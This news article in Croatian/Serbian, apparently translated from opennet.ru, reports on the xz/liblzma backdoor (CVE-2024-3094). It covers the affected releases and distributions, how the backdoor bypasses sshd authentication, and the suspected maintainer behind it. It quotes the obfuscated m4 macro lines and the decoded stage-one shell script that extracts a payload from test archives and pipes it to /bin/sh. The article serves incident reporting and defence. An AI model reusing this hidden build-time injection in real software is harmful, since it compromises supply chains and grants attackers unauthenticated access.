U biblioteci xz/liblzma otkriven je backdoor koji pruža pristup putem sshd-a

U paketu XZ Utils, koji uključuje biblioteku liblzma i alate za rad sa podacima komprimiranim u formatu «.xz», otkriven je backdoor (CVE-2024-3094) koji omogućava presretanje i modifikaciju podataka koje obrađuju aplikacije povezane s bibliotekom liblzma. Glavni cilj backdoora je OpenSSH poslužitelj, koji je u nekim distribucijama povezan s bibliotekom libsystemd, koja zauzvrat koristi liblzma. Povezivanje sshd-a s ranjivom bibliotekom omogućava napadačima pristup SSH poslužitelju bez autentifikacije.

Backdoor je bio prisutan u službenim izdanjima 5.6.0 i 5.6.1, objavljenim 24. veljače i 9. ožujka, koja su se uspjela naći u nekim distribucijama i repozitorijima, poput Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide i 40-beta, openSUSE factory i tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Svim korisnicima izdanja xz 5.6.0 i 5.6.1 preporučuje se hitno vraćanje na verziju 5.4.6.

Od ublažavajućih faktora može se istaknuti to što verzija liblzma s backdoorom nije uspjela ući u stabilna izdanja glavnih distribucija, ali je zahvatila openSUSE Tumbleweed i Fedora 40-beta. Arch Linux i Gentoo koristili su ranjivu verziju zx, ali nisu podložni napadu jer ne primjenjuju na openssh zakrpu za podršku systemd-notify, koja dovodi do povezivanja sshd-a s liblzma. Backdoor utječe samo na x86_64 sustave temeljene na Linux kernelu i C biblioteci Glibc.

Kod aktivacije backdoora bio je sakriven u m4 makrosima iz datoteke build-to-host.m4, korištene od strane alata automake tijekom kompilacije. Tijekom izgradnje, kroz izvedbu zamršenih obfusciranih operacija temeljenih na arhivima (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), korištenih za testiranje ispravnosti rada, formirao se objektni datoteka s zlonamjernim kodom, koja je uključena u biblioteku liblzma i promijenila logiku rada nekih njezinih funkcija. Aktivacijski m4 makrosi backdoora bili su uključeni u tar arhive izdanja, ali su nedostajali u Git repozitoriju. U međuvremenu, zlonamjerni testni arhivi bili su prisutni u repozitoriju, što znači da je onaj koji je uveo backdoor imao pristup kako repozitoriju, tako i procesima izrade izdanja.

Korištenjem liblzma u aplikacijama, zlonamjenske promjene mogle su se koristiti za presretanje ili modifikaciju podataka, kao i za utjecaj na rad sshd-a. Konkretno, zlonamjenski kod je zamijenio funkciju RSA_public_decrypt za zaobilaženje procesa autentifikacije u sshd-u. Bekdor je uključivao zaštitu od otkrivanja i nije se manifestirao kada su bile postavljene varijable okruženja LANG i TERM (tj. prilikom pokretanja procesa u terminalu) i kada varijable okruženja LD_DEBUG i LD_PROFILE nisu bile postavljene, a aktivirao se samo prilikom izvršavanja izvršnog fajla /usr/sbin/sshd. U bekdoru su također postojali alati za otkrivanje pokretanja u debug okruženjima.

Konkretno, u datoteci m4/build-to-host.m4 korištene su konstrukcije gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config='sed "r\n" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

U prvoj konstrukciji operacija grep nalazila je datoteku tests/files/bad-3-corrupt_lzma2.xz, prilikom raspakiranja koje se formirao scenarij: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377») | xz -F raw —lzma1 -dc|/bin/sh ####World####

Na koji su način napadači uspjeli pristupiti infrastrukturi projekta xz još uvijek nije razjašnjeno. Također, još uvijek nije jasno koliko je korisnika i projekata kompromitirano uslijed djelovanja backdoora. Navodni autor backdoora (JiaT75 — Jia Tan), koji je objavio arhive s malicioznim kodom u repozitoriju, dopisivao se s programerima Fedorе i slao pull zahtjeve u Debian, vezane za prelazak distribucija na granu xz 5.6.0, te nije izazvao sumnju, budući da je sudjelovao u razvoju xz tijekom posljednje dvije godine i drugi je programer po broju provedenih izmjena. Osim projekta xz, navodni autor backdoora sudjelovao je i u razvoju paketa xz-java i xz-embedded. Štoviše, Jia Tan je prije nekoliko dana imenovan u grupu održavatelja projekta XZ Embedded, koji se koristi u Linux kernelu.

Maliciozna promjena otkrivena je nakon analize prekomjerne potrošnje CPU-a i grešaka prikazanih od valgrinda, prilikom povezivanja putem ssh na sustave temeljenima na Debian sid. Zanimljivo je da su u izdanje xz 5.6.1 uključene promjene koje je pripremio navodni autor backdoora kao odgovor na pritužbe o usporenju rada i kvarovima sshd-a, koji su se pojavili nakon ažuriranja na verziju zx 5.6.0 s backdoorom. Osim toga, prošle godine Jia Tan je izvršio promjene nespojive s načinom provjere „-fsanitize=address“, što je dovelo do njegovog isključivanja tijekom fuzzing testiranja.

Izvor: opennet.ru

Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere 🔥 Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere | ProHoster